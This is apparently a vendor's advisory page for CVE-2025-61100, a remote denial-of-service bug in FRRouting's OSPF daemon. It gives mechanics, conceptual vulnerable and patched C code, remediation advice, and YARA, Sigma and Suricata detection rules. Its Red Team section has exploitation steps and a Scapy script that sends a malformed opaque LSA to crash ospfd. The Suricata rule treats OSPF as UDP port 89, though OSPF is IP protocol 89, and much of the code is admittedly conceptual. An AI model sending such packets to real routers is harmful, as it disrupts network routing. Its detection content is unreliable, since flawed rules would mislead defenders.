CVE-2025-61100
Executive Summary
CVE-2025-61100 is a NULL pointer dereference vulnerability discovered in the FRRouting (FRR) open-source routing software suite, affecting versions from v2.0 through v10.4.1. The flaw resides in the ospf_opaque_lsa_dump function within ospf_opaque.c. Under specific malformed Opaque Link State Advertisement (LSA) conditions, an unauthenticated, remote attacker can trigger a NULL pointer dereference, leading to a Denial of Service (DoS) by crashing the OSPF daemon (ospfd). This vulnerability is particularly dangerous in critical network infrastructure where OSPF is used for dynamic routing, as a single crafted packet can disrupt routing operations across a segment.
This vulnerability is not related to any WordPress plugin or component; it is a core networking software issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network – The attacker can trigger the vulnerability remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – No user action is required.
- Scope (S): Unchanged – The impact is confined to the vulnerable component.
- Confidentiality (C): None – No data is exposed.
- Integrity (I): None – No data is modified.
- Availability (A): High – The primary impact is a complete denial of service of the OSPF routing process.
Threat Level: High. The low attack complexity and network-based vector make this a significant threat for any organization running vulnerable FRR versions in production.
Deep Dive & Mechanics
The vulnerability is a classic NULL pointer dereference in the OSPF opaque LSA handling code. Opaque LSAs are a mechanism defined in RFC 5250 to extend OSPF for carrying application-specific data (e.g., Traffic Engineering, Graceful Restart). The ospf_opaque_lsa_dump function is responsible for parsing and logging the contents of received opaque LSAs.
The root cause is a failure to validate a pointer returned from a memory allocation or lookup operation before dereferencing it. When a specially crafted malformed opaque LSA is received, the function attempts to access a field of a structure that was never properly initialized or allocated, resulting in a NULL pointer dereference. This causes the ospfd process to crash with a segmentation fault.
The specific code path is triggered when the OSPF router receives an opaque LSA with an invalid or unexpected type, length, or TLV (Type-Length-Value) structure. The function ospf_opaque_lsa_dump is called during the LSA processing pipeline, and the lack of proper input validation leads to the crash.
Vulnerable vs. Patched Code
The vulnerable code is located in ospfd/ospf_opaque.c. The exact vulnerable function is ospf_opaque_lsa_dump. A simplified representation of the vulnerable and patched logic is shown below.
Vulnerable Code (Conceptual):
void ospf_opaque_lsa_dump(struct ospf_lsa *lsa) {
struct ospf_opaque_lsa *opaque = (struct ospf_opaque_lsa *)lsa->data;
// No check if opaque is NULL
struct tlv_header *tlv = (struct tlv_header *)(opaque->data); // Dereference without NULL check
// ... further processing that assumes tlv is valid
}
Patched Code (Conceptual):
void ospf_opaque_lsa_dump(struct ospf_lsa *lsa) {
if (lsa == NULL || lsa->data == NULL) {
zlog_warn("ospf_opaque_lsa_dump: NULL LSA or data");
return;
}
struct ospf_opaque_lsa *opaque = (struct ospf_opaque_lsa *)lsa->data;
if (opaque == NULL) {
zlog_warn("ospf_opaque_lsa_dump: NULL opaque LSA");
return;
}
struct tlv_header *tlv = (struct tlv_header *)(opaque->data);
if (tlv == NULL) {
zlog_warn("ospf_opaque_lsa_dump: NULL TLV header");
return;
}
// ... safe processing
}
The patch adds explicit NULL checks before dereferencing any pointers. This prevents the crash by gracefully handling the malformed input.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running FRRouting v2.0 through v10.4.1 with OSPF enabled.
- Network access to the target's OSPF interface (typically multicast address 224.0.0.5).
- Ability to craft raw OSPF packets.
Exploitation Steps:
Craft a Malformed Opaque LSA: Using a tool like
Scapyor a custom C program, construct an OSPF Link State Update packet containing an opaque LSA with a malformed TLV structure. The key is to create an opaque LSA where thedatapointer within theospf_opaque_lsastructure is NULL or points to an invalid memory location.Send the Packet: Transmit the crafted packet to the target router's OSPF interface.
Trigger the Crash: Upon receiving the malformed LSA, the
ospf_opaque_lsa_dumpfunction will attempt to dereference the NULL pointer, causing theospfdprocess to crash.
Example Scapy Script (Conceptual):
from scapy.all import *
from scapy.contrib.ospf import *
# Craft a malformed Opaque LSA
# This is a simplified example; actual exploitation requires deep OSPF knowledge
ip = IP(src="192.168.1.100", dst="224.0.0.5")
ospf_hdr = OSPF_Hdr(src="1.1.1.1", area="0.0.0.0")
ls_update = OSPF_LSUpd(lsa_count=1)
# Malformed opaque LSA with invalid TLV
malformed_lsa = OSPF_Opaque_LSA(ls_age=0, options=0x02, ls_type=9, opaque_type=1, opaque_id=1, advertising_router="1.1.1.1", ls_seq_number=0x80000001)
# Intentionally corrupt the TLV data
malformed_lsa.tlvlist = [OSPF_TLV(tlv_type=1, tlv_length=0, tlv_value=b"")] # Invalid length
ls_update.lsalist = [malformed_lsa]
packet = ip / ospf_hdr / ls_update
send(packet, iface="eth0")
Note: No public exploit code (Exploit-DB) is available for this CVE at the time of analysis.
Blue Team (Detection & Defense)
Detection:
- Monitor OSPF neighbor state changes. A sudden drop of an OSPF neighbor without a corresponding interface down event could indicate a crash.
- Monitor for
ospfdprocess crashes. Use system monitoring tools (e.g.,systemd,monit) to detect when the OSPF daemon terminates unexpectedly. - Analyze OSPF packets for anomalies. Look for opaque LSAs with unusual type/length values or malformed TLV structures.
Defense:
- Immediate: If possible, disable OSPF opaque LSA capabilities on the router using the
no capability opaquecommand in FRR configuration. - Mitigation: Implement OSPF authentication (MD5 or SHA) to prevent unauthorized routers from injecting malicious LSAs.
- Patch: Apply the vendor patch as soon as it becomes available. Since the patch status is UNKNOWN, monitor the FRR GitHub repository and mailing lists for updates.
- Network Segmentation: Restrict OSPF adjacency to trusted network segments only.
Indicators of Compromise (IOCs)
Network IOCs:
- OSPF packets with malformed opaque LSA TLVs (e.g., type 9, 10, or 11 LSAs with invalid length fields).
- OSPF packets originating from unexpected or untrusted source IP addresses.
- A sudden burst of OSPF Link State Update packets from a single source.
System IOCs:
- Core dump files for
ospfdin/var/core/or similar locations. - Log entries in
/var/log/frr/ospfd.logindicating a crash or segmentation fault. - System logs (
/var/log/syslogor/var/log/messages) showingospfdprocess termination.
- Core dump files for
Process IOCs:
- The
ospfdprocess repeatedly crashing and restarting (if configured with auto-restart).
- The
Detection Engineering
YARA Rule
rule CVE_2025_61100_OSPF_Opaque_LSA_NULL_Deref {
meta:
description = "Detects malformed OSPF opaque LSA packets targeting CVE-2025-61100"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61100"
hash = "unknown"
strings:
$ospf_header = { 02 ?? ?? ?? } // OSPF version 2
$ls_update = { 04 } // OSPF LS Update type
$opaque_type9 = { 09 } // Opaque LSA type 9 (Link-local)
$opaque_type10 = { 0a } // Opaque LSA type 10 (Area-local)
$opaque_type11 = { 0b } // Opaque LSA type 11 (AS-scope)
$tlv_type1 = { 00 01 } // TLV type 1 (Router Address)
$tlv_type2 = { 00 02 } // TLV type 2 (Link)
$zero_length = { 00 00 } // TLV length of 0 (anomalous)
condition:
$ospf_header and $ls_update and ($opaque_type9 or $opaque_type10 or $opaque_type11) and $zero_length
}
Sigma Rule
title: OSPF Opaque LSA NULL Pointer Dereference Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-61100 by sending malformed OSPF opaque LSAs.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-61100
logsource:
category: network_connection
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 3000001 # Custom signature ID
condition: selection
falsepositives:
- Legitimate OSPF traffic with unusual but valid TLVs (rare)
level: high
Suricata Rule
alert udp $EXTERNAL_NET any -> $HOME_NET 89 (msg:"CVE-2025-61100 OSPF Opaque LSA NULL Pointer Dereference Attempt"; content:"|02|"; offset:1; depth:1; content:"|04|"; offset:4; depth:1; content:"|09 0a 0b|"; within:2; content:"|00 00|"; distance:2; within:2; classtype:attempted-dos; sid:3000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable Opaque LSA capability on all FRR routers if not required for operations. Use the command
router ospf->no capability opaque. - Short-Term Mitigation: Implement OSPF authentication (MD5 or SHA) to prevent unauthorized packet injection.
- Long-Term Fix: Apply the official patch from FRR once released. Monitor the FRR GitHub repository (https://github.com/FRRouting/frr) and the frr-users mailing list for updates.
- Workaround: If patching is not immediately possible, consider using an access control list (ACL) to restrict OSPF traffic to only known, trusted OSPF routers.
- Monitoring: Deploy the detection rules provided in this report to identify exploitation attempts.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert